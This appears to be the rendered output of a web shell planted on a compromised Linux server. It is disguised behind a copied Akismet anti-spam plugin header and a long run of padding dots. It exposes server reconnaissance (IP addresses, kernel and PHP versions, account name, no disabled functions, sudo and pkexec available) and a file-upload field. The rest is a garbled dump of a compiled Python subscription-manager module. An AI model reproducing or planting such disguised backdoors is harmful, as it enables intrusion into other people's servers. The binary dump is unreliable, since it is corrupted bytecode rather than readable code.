#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib64/python2.7/site-packages/subscription_manager/ |
Upload File : |
�
L��ec @` s� d d l m Z m Z m Z d d l Z d d l Z d d l m Z d d l m Z d d l m
Z
d d l m Z e j
e � Z d e j f d � � YZ d e f d
� � YZ d S( i ( t print_functiont divisiont absolute_importN( t certificate( t certlib( t
entcertlib( t injectiont HealingActionInvokerc B` s e Z d Z d � Z RS( s�
An object used to run healing nightly. Checks cert validity for today, heals
if necessary, then checks for 24 hours from now, so we theoretically will
never have invalid certificats if subscriptions are available.
NOTE: We may update entitlement status in this class, but we do not
update entitlement certs, since we are inside a lock. So a
EntCertActionInvoker.update() needs to follow a HealingActionInvoker.update()
c C` s t � } | j � S( N( t HealingUpdateActiont perform( t selft action( ( sE /usr/lib64/python2.7/site-packages/subscription_manager/healinglib.pyt
_do_update) s ( t __name__t
__module__t __doc__R ( ( ( sE /usr/lib64/python2.7/site-packages/subscription_manager/healinglib.pyR s R c B` s e Z d Z d � Z d � Z RS( s5 UpdateAction for ent cert healing.
Core if entitlement certificate healing.
Asks RHSM API to calculate entitlement status today, and tomorrow.
If either show incomplete entitlement, ask the RHSM API to
auto attach pools to fix entitlement.
Attemps to avoid gaps in entitlement coverage.
Used by rhsmd and subscription-manager if the "autoheal" options
are enabled.
Returns an EntCertUpdateReport with information about any ent
certs that were changed.
Plugin hooks:
pre_auto_attach
post_auto_attach
c C` sO t j t j � | _ | j j � | _ t j � | _ t j t j � | _
d S( N( t injt requiret CP_PROVIDERt cp_providert get_consumer_auth_cpt uepR t EntCertUpdateReportt reportt PLUGIN_MANAGERt plugin_manager( R
( ( sE /usr/lib64/python2.7/site-packages/subscription_manager/healinglib.pyt __init__C s c
C` sk t j t j � } | j } | j j | � } d | k sD | d rU t j d � d Sy�t j j t
j � � } | t j d d � } t
} t
} t j t j � } t j � } | j � s&t j d | � | j j d d | �| j j | | � }
| j j d d | d
|
�| j � | _ n� t } | j d k rKt j d � n | | j k r�t j d | � | j j d d | �| j j | | � }
| j j d d | d
|
�| j � | _ n t } d
} | r�| d | 7} | r�| d | 7} q�n t j | � WnD t k
rR} t j d � t j | � | j j j | � | j SXt j d � | j Sd S( Nt autoheals'